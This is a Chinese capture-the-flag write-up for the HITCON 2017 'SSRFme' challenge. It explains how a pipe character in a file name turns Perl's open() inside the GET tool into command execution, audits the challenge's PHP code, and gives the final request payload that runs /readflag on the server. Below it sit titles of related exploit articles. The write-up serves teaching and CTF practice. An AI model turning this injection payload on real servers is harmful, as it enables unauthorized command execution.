[HITCON 2017]SSRFme 1

学到了perl的open中的命令执行漏洞,参考了这篇博客大佬一的博客和这篇大佬二的博客

open漏洞

在perl语言中,open函数存在命令执行漏洞:如果open文件名中存在管道符(也叫或符号|),就会将文件名直接以命令的形式执行,然后将命令的结果存到与命令同名的文件中。本题中调用了GET函数,而GET函数底层调用了open函数,故存在漏洞。

ricter@baka:/tmp$ cat a.pl
open(FD, "id|"); # 管道符在尾部
print <FD>; open(FD, "|id"); # 管道符在头部
print <FD>; ricter@baka:/tmp$ perl a.pl
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter)
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter) #两个方法都可以执行

GET函数

GET函数部分源码:

# URL OK, look at file
my $path = $url->file; # test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!"); # 这里GET函数运行open前会检查是否存在文件,如果不存在就会报文件不存在,无法继续执行,所以这里需要存在一个名字和命令相同的文件。

执行测试

ricter@baka:/tmp/a$ touch 'id|'             # 创建文件“id|”
ricter@baka:/tmp/a$ GET 'file:id|' # 使用GET,使用file协议读取文件”id|“
uid=1000(ricter) gid=1000(ricter) groups=1000(ricter) # 触发漏洞

题目

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
} echo $_SERVER["REMOTE_ADDR"]; $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox); $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
?>

pathinfo函数

将输入的路径解析,返回解析后的结果

输入:

<?php
print_r(pathinfo("/test1/testweb/test.txt"));
?>

输出:

Array
(
[dirname] => /test1/testweb
[basename] => test.txt
[extension] => txt
[filename] => test
)

审计

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox); # 使用字符串“orange”和你的ip拼凑起来,经过md5,组成供你使用的沙箱,随后进入沙箱。
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
# 运行 GET $_GET['url'] 命令,将结果存到data里面。这里使用escapeshellarg做了一个过滤处理。
$info = pathinfo($_GET["filename"]);
# 这里将你传到filename的文件路径解析开,存到info里。如你传入a/b/c $dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
# 根据你的文件路径创建文件夹,并移动到其中,准备创建文件。用上面的例子,这里就是帮你创建a/b/文件夹,准备创建c文件。
@file_put_contents(basename($info["basename"]), $data);
# 创建文件,将第一步GET命令得到的结果放入这个文件内。 # 这一段概括一下,首先你传入两个参数,url和filename,他会把执行GET $_GET['url']的结果存到filename文件里。这个filename文件可以是一个路径,他会帮你创建中途的文件夹。

我们最后得到的payload即为

/?url=file:bash -c /readflag|&filename=bash -c /readflag| # 这里使用file协议,bash -c就是将目标当作可执行文件运行,如bash -c "echo 'hello World'"
/?url=file:bash -c /readflag|&filename=bash -c /readflag| # 这里运行两次是因为命令要执行首先需要文件存在,第一次执行时文件不存在,创建文件,第二次执行命令。
/sandbox/your md5/bash -c /readflag| # 访问结果。 # P.s 这里我省略了看根目录的一步,看根目录不需要执行命令,直接使用GET命令原本的功能就可以了
/?url=/&filename=haha # 将结果存入haha文件中
/sandbox/your md5/haha # 查看结果

[HITCON 2017]SSRFme 1 Perl GET任意命令执行漏洞的更多相关文章

  1. 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

    手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...

  2. Couchdb 任意命令执行漏洞(CVE-2017-12636)

    影响版本:小于 1.7.0 以及 小于 2.1.1 该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户 依次执行如下请求即可触发任意命令执 ...

  3. Elasticsearch Groovy任意命令执行漏洞EXP

    测试url:http://190.196.67.252:9200/_search?pretty http://191.234.18.14:9200///_search?pretty POST提交 {“ ...

  4. wordpress<=4.6版本任意命令执行漏洞

    漏洞简述 当WordPress 使用 PHPMailer 组件向用户发送邮件.攻击者在找回密码时会使用PHPmailer发送重置密码的邮件,利用substr(字符串截取函数).$run(系统调用函数) ...

  5. WordPress4.6任意命令执行漏洞

    前言 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站.也算是一个内容管理系统(CMS) 环境搭建 docker环 ...

  6. fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

    环境搭建: 漏洞影响版本: fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞 环境地址: https://github.com/vulhub/vulhub/tree/master ...

  7. 关于Fastjson 1.2.24 反序列化导致任意命令执行漏洞

    环境搭建: sudo apt install docker.io git clone https://github.com/vulhub/vulhub.git cd vulhub fastjson 1 ...

  8. Wordpress 4.6 任意命令执行漏洞(PwnScriptum)

    漏洞存在后台登录地方的找回密码页面:http://192.168.49.2:8080/wp-login.php?action=lostpassword 抓包进行修改包 输入一个存在的用户,然后点击获取 ...

  9. fastjson 1.2.24 反序列化导致任意命令执行漏洞

    漏洞检测 区分 Fastjson 和 Jackson {"name":"S","age":21} 和 {"name":& ...

  10. Struct2远程命令执行漏洞(S2-053)复现学习

    1.S2-053(CVE-2017-12611) RCE出自一道题目 http://www.whalwl.cn:8027/hello.action 漏洞产生原因:Struts2在使用Freemarke ...

随机推荐

  1. Chrome 133 里程碑式更新 - moveBefore, 或开启前端框架未来新纪元?

    相关背景: Chrome 133 版本(将于 2 月 4 日发布稳定版)引入了一个新的 DOM 操作方法:Node.prototype.moveBefore.这一方法虽然看似简单,但其意义重大,因为它 ...

  2. UE5 C++ 程序进程退出

    // Fill out your copyright notice in the Description page of Project Settings. #pragma once #include ...

  3. GPT-4.5 感觉有点拉胯,但其实是 OpenAI 迄今为止最大的一步赌注

    Alberto Romero I. GPT-4.5 就是起跳前的助跑那一步 OpenAI 推出了 GPT-4.5(官方博客.系统卡片.演示视频),这是他们最新也是目前最大的一款 AI 模型.他们其实一 ...

  4. linux下nginx常用命令

    1.查找nginx路径:whereis nginx2.启动 service nginx start3.查看Nginx的版本号:nginx -V4.停止 nginx -s stop5.退出 nginx ...

  5. ANSYS 启动窗口过大问题解决

    方法总结(省流版):选择兼容性下更改高 DPI 设置 => 勾选高DPI 缩放代替 ,且其下对应应用程序选项 1.环境 系统环境:Windows 11 设备情况:分辨率 1920×1080:缩放 ...

  6. 【Java】基本语法

    一.语言概述 整体语言概述 (一)Java语言概述 1.基础常识 软件:即一系列按照特定顺序组织的计算机数据和指令的集合.分为:系统软件 和 应用软件 系统软件:windows , mac os , ...

  7. IIS7配置301永久重定向

    我把我的小域名www.taadis.com301永久重定向到taadis.com. 关键图解:

  8. ZKmall开源商城iOS 与安卓双端开发:如何平衡 B2B2C 商城的代码复用与性能

    在ZKmall开源商城的iOS与安卓双端开发中,平衡B2B2C商城的代码复用与性能是一个关键考量.以下是一些建议和实践方法,以实现这一目标: 一.架构分层设计:解耦与复用 1. 分层架构模型 merm ...

  9. 测试用例Xmind转XML格式教程

    运行环境: Python版本:3.7(Python2.x和Python2.x均可) 第三方库:xmind2testlink/xmind2testcase 1.安装Python(以Python3.x为例 ...

  10. Oracle的listagg函数(多行按顺序合并字符串)(与wm_concat的区别)

    场景: 使用wm_concat函数时,会发现无法对其拼接的字符串进行排序 使用listagg函数可实现按排序进行字符串拼接 select myGroup, listagg(myStr, ',') wi ...